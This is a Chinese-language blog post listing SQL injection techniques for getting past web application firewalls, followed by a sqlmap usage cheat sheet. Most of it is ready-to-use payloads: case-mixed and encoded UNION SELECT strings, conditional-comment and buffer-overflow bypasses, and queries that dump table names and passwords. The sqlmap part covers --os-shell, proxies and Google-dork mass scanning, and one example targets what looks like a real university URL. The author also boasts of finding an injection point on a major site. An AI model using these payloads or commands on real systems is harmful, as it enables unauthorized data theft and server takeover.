SQL注入绕过

Posted by  "star" on Sunday, February 3, 2019

TOC

一、sql注入绕过

1、大小写混合

适用场景: 只针对小写或者大写的关键字匹配技术 正则表达式未使用 /i 参数,/expression/i 匹配时大小写不敏感便无法绕过 例如: /index.php?id=-15 uNIoN sELeCt 1,2,3,4

2、两次URL编码

适用场景: 后端对请求参数额外做了一次URL解码,WAF 认为安全的参数经过解码后变得不安全 例如: /index.php?id=0%252f%252a/UNION%252f%252a/SELECT 1 后端对 id 参数进行 URL 解码,得到 0//UNION//SELECT

3、十六进制编码

例: /index.php?page_id=-15 union select 1,2,3,4, SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) Unicode 编码

单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

4、宽字节逃逸引号

适用场景: 前后端编码不一致,GBK/GB2312 与 UTF-8 混用 例如: /index.php?name=0 %df’ UNION SELECT ‘xxxxx

5、使用注释符

减减号(--

/* */

MySQL 条件注释 例: /!50000SELECT/ 在 MySQL 5.0 及以上版本中等价于 SELECT

6、等价替代

hex()、bin() => ascii() sleep() => benchmark() concat_ws() => group_concat() mid()、substr() => substring() @@user => user() @@datadir => datadir()

例如:无法使用 substring() 和 substr() 函数时: ?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 substr((select ‘password’),1,1) = 0x70 可以用 strcmp() 配合 left() 替代 strcmp(left(‘password’,1), 0x69) = 1 strcmp(left(‘password’,1), 0x70) = 0 strcmp(left(‘password’,1), 0x71) = -1

7、运算符

and => &&、or => || = => <、>、like、regexp 与空格等价的字符 SQLite: 0A, 0D, 0C, 09, 20 MySQL: 09, 0A, 0B, 0C, 0D, A0, 20 PostgreSQL: 0A, 0D, 0C, 09, 20 Oracle 11g: 00, 0A, 0D, 0C, 09, 20 MSSQL: 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20

8、使用特殊符号

使用反引号,例如 selectversion(),可以用来过空格和正则,一些情况下还可以将其作注释符用 神奇的”-+.“,select+id-1+1.from users; “+“是用于字符串连接的,”-“和”.“在此也用于连接,可以逃过空格和关键字过滤 @ 符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量 MySQL function() as xxx 也可不用 as 和空格 select-count(id)test from users //绕过空格限制

9、HTTP 参数控制

HPP (HTTP参数污染) 例如: /?id=1;select+1&id=2,3+from+users+where+id=1- /id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users 针对多个同名参数,不同 Web 服务器处理方式: 图片.png

HPF (HTTP参数分割) 例如:

/a=1+union/&b=/select+1,pass/&c=/from+users%26* 最终查询语句: select * from table where a=1 union/ and b=/select 1,pass/ limit /from users# HPC (HTTP Parameter Contamination) RFC2396定义了一些字符: Unreserved(未保留): a-z, A-Z, 0-9 and _ . ! ~ * ‘ () Reserved(保留): ; / ? : @ & = + $ , Unwise(欠考虑): { } | \ ^ [ ] ` 不同的Web服务器处理特殊请求时的不同处理: 图片.png

以魔术字符%为例, ASP/ASPX受影响 图片.png

10、缓冲区溢出

缓冲区溢出用于对付 WAF 在内的软件本身,不少 WAF 是由 C 语言编写,如果存在不安全的编码,WAF 在处理测试向量时超出了其缓冲区长度将引发不可预料的错误,从而可能绕过 WAF 例如: ?id=1 and (select 1)=(Select 0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26* 其中:A*1000 为 1000 个 A

11、整合绕过

组合使用上述绕过技巧,例如: ?id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/!uNIOn/+/!SeLECt/+1,2,3,4… ?id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM /information_schema/.tables/!WHERE/+/!TaBlE_ScHeMa/+like+database()– - id=-725+/!UNION/+/!SELECT/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/!INFORMATION_SCHEM/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e– SQL Filter 的实现和 Evalion (逃避)

SQL注入使用最多的关键字 and, or, union, where, limit, group by, select, ‘, hex, substr, 0x 检测它们的完整正则表达式 preg_match(‘/(and|or|union|where|limit|group by|select|’|hex|substr|\s)/i’, $id) 模糊测试及绕过技巧 通过conv(10-36], 10, 36)可以实现所有字符的表示 使用数学函数

二、关于sqlmap

–dbs 爆出数据库 –tables 数据表 –columns 列 –cookie=“cookie的值” –level=2 –user-agent=“UA值” –level=3或3以上 –referer=“referer值” –level=3或3以上 –os–shell getshell 系统交互 前提:知道网站的物理路径(php探针、访问错误暴路径、、、、) 使用代理: 原型: sqlmap.py –proxy=(http|https|socks4|socks5)://address:port –proxy-cred=username:password 例如: ./sqlmap.py -u “http://www.cauyt.edu.cn/gg/index.asp?depart=124" –proxy=http://120.198.233.211:8 如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。 共有七个等级,默认为1: 0、只显示python错误以及严重的信息。 1、同时显示基本信息和警告信息。(默认) 2、同时显示debug信息。 3、同时显示注入的payload。 4、同时显示HTTP请求。 5、同时显示HTTP响应头。 6、同时显示HTTP响应页面。 如果你想看到sqlmap发送的测试payload最好的等级就是3。 从文本中获取多个目标扫描 参数:-m 文件中保存url格式如下,sqlmap会一个一个检测 www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1* 处理Google的搜索结果 参数:-g sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。 例子: python sqlmap.py -g “inurl:“.php?id=1”” (很牛B的功能,测试了一下,第十几个就找到新浪的一个注入点) 此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。 请求http数据 参数:–data 此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。 例子: python sqlmap.py -u “http://www.target.com/vuln.php" –data=“id=1” -f –banner –dbs –users 参数拆分字符 参数:–param-del 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。 例子: python sqlmap.py -u “http://www.target.com/vuln.php" –data=“query=foobar;id=1” –param-del=“;” - 参考: http://wooyun.jozxing.cc/static/drops/tips-143.html http://wooyun.jozxing.cc/static/drops/tips-401.html http://wooyun.jozxing.cc/static/drops/tips-5254.html

「真诚赞赏,手留余香」

Star's Blog

真诚赞赏,手留余香

使用微信扫描二维码完成支付